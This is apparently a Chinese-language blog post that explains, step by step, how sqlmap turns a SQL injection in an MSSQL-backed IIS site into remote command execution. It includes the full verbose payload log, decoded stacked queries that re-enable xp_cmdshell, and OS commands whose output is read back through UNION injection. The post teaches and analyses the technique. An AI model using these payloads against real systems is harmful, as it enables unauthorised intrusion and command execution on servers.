Try   HackMD
tags: sqlmap

SQLmap MSSQL to RCE 原理

0x00 前言

有天在安全測試某個站點的Server時,意外發現具有SQL漏洞,然後就丟到SQLmap上發現就直接RCE了
不過一直以來不是很了解RCE的過程,這是不好的一件事情,在很多進行fuzzing的場景中,我們勢必需要理解其注入過程做了什麼事情,這才是學會滲透重要的一環。
因此,我今日有感而發,決定寫此篇文章,來助於理解SQLmap在MSSQL裡如何拿到RCE。

0x01 注入過程研究

下面附上我那次注入過程使用「-v 3」參數的詳細過程,然後拆解講解(有將原本的過程透漏的機敏資訊抹去)

--- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 8774=8774 AND 'wXZv'='wXZv&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: AND [INFERENCE] Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=5';WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- Type: time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF - comment) Payload: id=5' WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=-3169' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+CHAR(112)+CHAR(108)+CHAR(117)+CHAR(122)+CHAR(105)+CHAR(112)+CHAR(81)+CHAR(84)+CHAR(77)+CHAR(122)+CHAR(86)+CHAR(87)+CHAR(103)+CHAR(65)+CHAR(105)+CHAR(118)+CHAR(78)+CHAR(105)+CHAR(80)+CHAR(98)+CHAR(116)+CHAR(122)+CHAR(99)+CHAR(103)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(88)+CHAR(67)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(103)+CHAR(71)+CHAR(116)+CHAR(82)+CHAR(74)+CHAR(86)+CHAR(88)+CHAR(86)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- mUbd&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL[GENERIC_SQL_COMMENT] --- [17:04:08] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 10 or 11 or 2019 or 2022 or 2016 web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET back-end DBMS: Microsoft SQL Server 2016 [17:04:08] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output [17:04:08] [DEBUG] resuming configuration option 'code' (200) [17:04:08] [PAYLOAD] -9069' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- RpBj [17:04:14] [DEBUG] performed 1 query in 5.39 seconds [17:04:14] [DEBUG] going to use 'C:/Program Files/Microsoft SQL Server/MSSQL13.MSSQLSERVER/MSSQL/Log' as temporary files directory [17:04:14] [INFO] testing if current user is DBA [17:04:14] [PAYLOAD] -4739' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- LoIP [17:04:17] [DEBUG] performed 1 query in 3.00 seconds [17:04:17] [INFO] checking if xp_cmdshell extended procedure is available, please wait.. [17:04:17] [PAYLOAD] 5';DECLARE @hhsr VARCHAR(8000);SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @hhsr-- [17:04:21] [WARNING] reflective value(s) found and filtering out [17:04:21] [WARNING] time-based standard deviation method used on a model with less than 30 response times xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y [17:04:21] [DEBUG] used the default behavior, running in batch mode [17:04:21] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure [17:04:21] [PAYLOAD] 5';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE-- [17:04:24] [PAYLOAD] 5';DECLARE @ajfa VARCHAR(8000);SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @ajfa-- [17:04:47] [WARNING] time-based standard deviation method used on a model with less than 30 response times [17:04:47] [INFO] xp_cmdshell re-enabled successfully [17:04:47] [DEBUG] creating a support table to write commands standard output to [17:04:47] [PAYLOAD] 5';DROP TABLE sqlmapoutput-- [17:04:50] [PAYLOAD] 5';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- [17:04:53] [INFO] testing if xp_cmdshell extended procedure is usable [17:04:53] [PAYLOAD] 5';DECLARE @qjaa VARCHAR(8000);SET @qjaa=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa-- [17:04:56] [PAYLOAD] -3373' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- yWAq [17:05:00] [DEBUG] performed 1 query in 3.81 seconds [17:05:00] [PAYLOAD] 5';DELETE FROM sqlmapoutput-- [17:05:03] [INFO] xp_cmdshell extended procedure is usable [17:05:03] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution [17:05:03] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell> powershell pwd do you want to retrieve the command standard output? [Y/n/a] Y [17:08:34] [DEBUG] used the default behavior, running in batch mode [17:08:34] [PAYLOAD] 5';DECLARE @vkdv VARCHAR(8000);SET @vkdv=0x706f7765727368656c6c20707764;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv-- [17:08:40] [PAYLOAD] -4007' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- EswF [17:08:42] [DEBUG] performed 1 query in 2.13 seconds [17:08:42] [PAYLOAD] 5';DELETE FROM sqlmapoutput-- command standard output: --- NULL Path ---- C:\Windows\system32 NULL NULL NULL --- os-shell> q [17:17:19] [INFO] cleaning up the database management system [17:17:19] [DEBUG] removing support tables [17:17:19] [PAYLOAD] 5';DROP TABLE sqlmapfile-- [17:17:23] [PAYLOAD] 5';DROP TABLE sqlmapfilehex-- [17:17:26] [PAYLOAD] 5';DROP TABLE sqlmapoutput-- do you want to remove UDF 'master..new_xp_cmdshell'? [Y/n] Y [17:17:30] [DEBUG] used the default behavior, running in batch mode [17:17:30] [DEBUG] removing UDF 'master..new_xp_cmdshell' [17:17:30] [PAYLOAD] 5';DROP FUNCTION master..new_xp_cmdshell-- [17:17:33] [DEBUG] got HTTP error code: 500 ('Internal Server Error') [17:17:33] [INFO] database management system cleanup finished [17:17:33] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually [17:17:33] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1 times [17:17:33] [INFO] fetched data logged to text files under '儲存路徑'

基本上就是很長一串的payload,然後注入類型基本上除了報錯注入其他都是可以用的,那我們開始來拆解過程。

  • 23~27行單純就是解析後端技術,這不是今天的重點,跳過。

    我們把29行展開來看

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ​​ ISNULL( ​​ CAST( ​​ SERVERPROPERTY( ​​ CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101) ​​ ) AS NVARCHAR(4000) ​​ ), ​​ CHAR(32) ​​ )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), ​​ NULL, ​​ NULL, ​​ NULL-- RpBj

    我們把char()還原成字串後可以得到如下

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ 'qxkvq'+ ​​ ISNULL( ​​ CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000)), ​​ CHAR(32) ​​ )+'qqpjq', ​​ NULL, ​​ NULL, ​​ NULL-- RpBj

    如果懶得一個一個對ASCII,可以用下方提供的python code來跑

    ​​# input: CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101) ​​# output: ErrorLogFileName ​​print(eval(input("input:").replace('CHAR','chr')))
    • 我們看第8行

      ​​​​​​CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000))

      這句意思是,將 SQL Server 錯誤記錄檔,目前最新的完整檔案路徑與檔案名稱,轉換成 NVARCHAR() 格式,並可容納4000個字節,這個語法可以拿去w3school去測試。

    • 而7~10的意思是說,如果第八行的運行結果為NULL的話,則將他轉換成char(32),也就是一個空白

  • 我們回到注入過程,可以看到第29~31行,就是去找有沒有找到錯誤記錄檔,如果有,就把它作為臨時文件目錄。

  • 接著第32行提示說,測試當前用戶是否為 DBA,我們分析第33行

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ​​ ( ​​ CASE WHEN ( ​​ IS_SRVROLEMEMBER( ​​ CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110) ​​ )=1 ​​ ) THEN CHAR(49) ELSE CHAR(48) END ​​ )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), ​​ NULL, ​​ NULL, ​​ NULL-- LoIP

    還原ASCII後

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ 'qxkvq'+ ​​ ( ​​ CASE WHEN ( ​​ IS_SRVROLEMEMBER('sysadmin')=1 ​​ ) THEN '1' ELSE '0' END ​​ )+'qqpjq', ​​ NULL, ​​ NULL, ​​ NULL-- LoIP
    • 第9行,判斷是否為SA權限,如果是,IS_SRVROLEMEMBER('sysadmin')會得到1,否則為0。
    • 第8~10行,單純就是看內容如果成立,得到1,否則為0,這裡有篇文章有解釋可以看看。

    我們回到注入過程繼續分析。

  • 35行測試 xp_cmdshell 是否可用,看看第36行payload

    ​​DECLARE @hhsr VARCHAR(8000); ​​SET @hhsr=0x70696e67202d6e203230203132372e302e302e31; ​​EXEC master..xp_cmdshell @hhsr--

    用下方的python code解析hex

    ​​# input: 0x70696e67202d6e203230203132372e302e302e31 ​​# output: ping -n 20 127.0.0.1 ​​print(f"output: {bytearray.fromhex(input('input: ')[2:]).decode()}")

    簡單說就是把 cmd ping 指令字串存到hhsr變數後,透過 xp_cmdshell 拿去執行看看能不能跑,至於為何是ping 20次,可以理解成一種時間注入,因為不一定所有的注入都會回傳結果,這個很好理解。

    我們回到注入過程繼續分析。

  • 第39行,SQLmap檢測後發現, xp_cmdshell 貌似是關閉狀態,因此詢問是否要開(當然開阿#
    我們解析第42行。

    ​​-- 開啟允許修改高級參數 ​​EXEC master..sp_configure 'SHOW advanced options',1; ​​-- 將剛剛設定的參數啟動 ​​RECONFIGURE WITH OVERRIDE; ​​-- 啟用 xp_cmdshell ​​EXEC master..sp_configure 'xp_cmdshell',1; ​​-- 將剛剛設定的參數啟動 ​​RECONFIGURE WITH OVERRIDE; ​​-- 關閉允許修改高級參數 ​​EXEC master..sp_configure 'SHOW advanced options',0; ​​-- 將剛剛設定的參數啟動 ​​RECONFIGURE WITH OVERRIDE--

    這裡可以看到SQLmap為了避免汙染環境,有把啟用的參數再關回去。

  • 第43行,單純就是打開 xp_cmdshell 後再把剛剛的 ping 指令跑一次看有沒有生效。

    ​​DECLARE @ajfa VARCHAR(8000); ​​SET @ajfa=0x70696e67202d6e203230203132372e302e302e31; ​​EXEC master..xp_cmdshell @ajfa--

    解析還原後

    ​​DECLARE @ajfa VARCHAR(8000); ​​SET @ajfa='ping -n 20 127.0.0.1'; ​​EXEC master..xp_cmdshell @ajfa--

    我們回到注入過程繼續分析。

  • 45行 告訴你 xp_cmdshell 指令已被啟用完畢。

  • 46行準備創建一個用來接收指令執行結果的 table。

  • 47跟48行如下

    ​​DROP TABLE sqlmapoutput-- ​​CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--

    為了避免建表失敗,不管有沒有,他先刪一次,之後再建。

  • 49行跟你說,再測試一次 xp_cmdshell 指令是否可以使用。

  • 50行如下

    ​​DECLARE @qjaa VARCHAR(8000); ​​SET @qjaa=0x6563686f2031; ​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--

    解析後

    ​​DECLARE @qjaa VARCHAR(8000); ​​SET @qjaa='echo 1'; ​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--

    簡單說就是把 cmd 指令 echo 1 的結果放到 SQLmap 剛剛創建的 table 「sqlmapoutput」 裡面。

  • 51行如下

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ​​ ( ​​ SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES ​​ )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), ​​ NULL, ​​ NULL, ​​ NULL-- yWAq

    解析後

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ 'qxkvq'+ ​​ ( ​​ SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES ​​ )+'qqpjq', ​​ NULL, ​​ NULL, ​​ NULL-- yWAq

    簡單說就是把剛剛 cmd 指令的執行結果,從SQLmap 創建的 table 裡再拿出來。

  • 53行

    ​​DELETE FROM sqlmapoutput--

    把 table 裡的數據都清除掉了。然後54行裡告訴你 xp_cmdshell 是可以用的,可以發現他是透過剛剛這樣的一個使用流程來做檢測的。

    我們回到注入過程繼續分析。

  • 然後57行可以看到他已經把prompt 「os-shell>」丟給你,代表你已經可以開始下 shell command 了,我這裡測試了powershell 裡的 pwd 命令,可以看到路徑是在 C:\Windows\system32 裡面,期間,SQLmap 做的指令,我們來分析。

  • 第60行如下

    ​​DECLARE @vkdv VARCHAR(8000); ​​SET @vkdv=0x706f7765727368656c6c20707764; ​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--

    解析後

    ​​DECLARE @vkdv VARCHAR(8000); ​​SET @vkdv='powershell pwd'; ​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--
  • 61行如下

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ​​ ( ​​ SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES ​​ )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), ​​ NULL, ​​ NULL, ​​ NULL-- EswF

    解析後

    ​​UNION ALL ​​ SELECT ​​ NULL, ​​ NULL, ​​ NULL, ​​ 'qxkvq'+ ​​ ( ​​ SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES ​​ )+'qqpjq', ​​ NULL, ​​ NULL, ​​ NULL-- EswF
  • 63行如下

    ​​DELETE FROM sqlmapoutput--

    恩,如剛剛上面所解析的一樣,就是拿 xp_cmdshell 來執行我們下的指令,然後再利用 union-based來獲取執行的結果。

    我們回到注入過程繼續分析。

  • 第74行,我下了離開的指令,SQLmap 告訴你說,清理數據庫管理系統,以及刪除 SQLmap 所建立的表。

下面基本上就是在還原滲透前的系統環境,就不多做解釋了。

沒了,終於寫完了,感謝觀看。